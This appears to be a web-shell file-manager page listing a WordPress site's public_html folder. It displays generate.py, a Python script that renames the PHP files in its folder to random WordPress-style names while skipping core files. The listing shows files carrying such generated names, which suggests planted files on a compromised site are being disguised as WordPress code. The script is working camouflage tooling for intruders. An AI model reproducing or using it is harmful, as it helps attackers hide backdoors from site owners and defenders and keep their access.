PATH:
home
/
malcriad
/
public_html
# ============================================ # WORDPRESS STYLE PHP FILE RENAMER # WITH SKIP PROTECTION # Python 2.7 Compatible # ============================================ import os import random # ================= FILE YANG TIDAK BOLEH DIRENAME ================= SKIP_FILES = [ "index.php", "wp-config.php", "wp-settings.php", "wp-load.php", "wp-blog-header.php", "xmlrpc.php", "cron.php", "router.php", ".htaccess", ] # skip prefix (kalau mau tambah) SKIP_PREFIX = [ "wp-config", "wp-load", "wp-settings", ] # ================= WORDLIST WORDPRESS ================= WP_PREFIX = [ "admin","options","user","users","edit","edit-form", "media","site","network","ms","plugin","theme", "custom","link","post","comment","dashboard", "tools","install","update","upgrade","nav", "widgets","export","import" ] WP_CORE = [ "ajax","post","header","footer","health","info", "reading","writing","discussion","privacy", "general","media","upload","new","edit", "advanced","blocks","comments","tags", "themes","plugins","users","network", "editor","manager","list","table","form" ] WP_SUFFIX = [ "core","info","form","advanced","blocks", "table","editor","manager","helper" ] WP_CLASS = [ "wp-user","wp-post","wp-comment","wp-theme", "wp-plugin","wp-upgrader","wp-filesystem", "wp-site-health","wp-query","wp-db", "wp-admin-bar","wp-widget","wp-network" ] # ================= BUILD NAMES ================= NAMES = [] for a in WP_PREFIX: for b in WP_CORE: NAMES.append(a + "-" + b) for a in WP_PREFIX: for b in WP_CORE: for c in WP_SUFFIX: NAMES.append(a + "-" + b + "-" + c) for c in WP_CLASS: NAMES.append("class-" + c) NAMES += [ "about","privacy","tools","media","themes", "plugins","dashboard","install","upgrade", "menu","network","users","post", "comment","taxonomy","widgets","export","import" ] NAMES = list(set(NAMES)) print "Total nama WordPress style:", len(NAMES) def generate_name(): return random.choice(NAMES) + ".php" # ================= TARGET DIR ================= target_dir = os.path.dirname(os.path.abspath(__file__)) print "Target folder:", target_dir print "-" * 50 # ================= RENAME PROCESS ================= for f in os.listdir(target_dir): # hanya file php if not f.lower().endswith(".php"): continue # skip file penting if f in SKIP_FILES: print "[SKIP]", f continue # skip prefix penting skip = False for p in SKIP_PREFIX: if f.startswith(p): skip = True break if skip: print "[SKIP]", f continue old_path = os.path.join(target_dir, f) if not os.path.isfile(old_path): continue while True: newf = generate_name() newp = os.path.join(target_dir, newf) if not os.path.exists(newp): break os.rename(old_path, newp) print "[OK]", f, "->", newf print "\nSelesai. File penting aman, file lain berhasil di-rename."
[+]
..
[+]
.htpasswds
[+]
.well-known
[+]
tarjetas
[+]
wp-admin
[+]
wp-content
[+]
wp-includes
[-] .htaccess
[edit]
[-] HOME.png
[edit]
[-] Original.png
[edit]
[-] Produccion.png
[edit]
[-] Tecnica.php
[edit]
[-] Tecnica.png
[edit]
[-] Texto.png
[edit]
[-] cgi-bin.zip
[edit]
[-] error_log
[edit]
[-] index_1.htm
[edit]
[-] index_1.html
[edit]
[-] license.txt
[edit]
[-] readme.html
[edit]
[-] tecnica.png
[edit]
[-] admin-general-form.php
[edit]
[-] edit-form-new-advanced.zip
[edit]
[-] generate.py
[edit]
[-] media-comments-helper.php
[edit]
[-] plugin-network-editor.zip
[edit]
[-] sonar.zip
[edit]
[-] update-health-info.php
[edit]
[-] wp-config.php
[edit]
[-] ll3.php
[edit]
[-] .htaccess.backup.20260423
[edit]
[+]
wp
[+]
sitepro
[-] web.config
[edit]
[-] index.php
[edit]
[-] wp-activate.php
[edit]
[-] wp-blog-header.php
[edit]
[-] wp-comments-post.php
[edit]
[-] wp-config-sample.php
[edit]
[-] wp-cron.php
[edit]
[-] wp-links-opml.php
[edit]
[-] wp-load.php
[edit]
[-] wp-mail.php
[edit]
[-] wp-settings.php
[edit]
[-] wp-signup.php
[edit]
[-] wp-trackback.php
[edit]
[-] xmlrpc.php
[edit]
[+]
.tmb
[-] comment-info-blocks.php
[edit]
[-] export-blocks-advanced.php
[edit]
[-] link-media-blocks.php
[edit]
[-] site-ajax-manager.zip
[edit]
[-] widgets-list-form.zip
[edit]
[-] wp-login.php
[edit]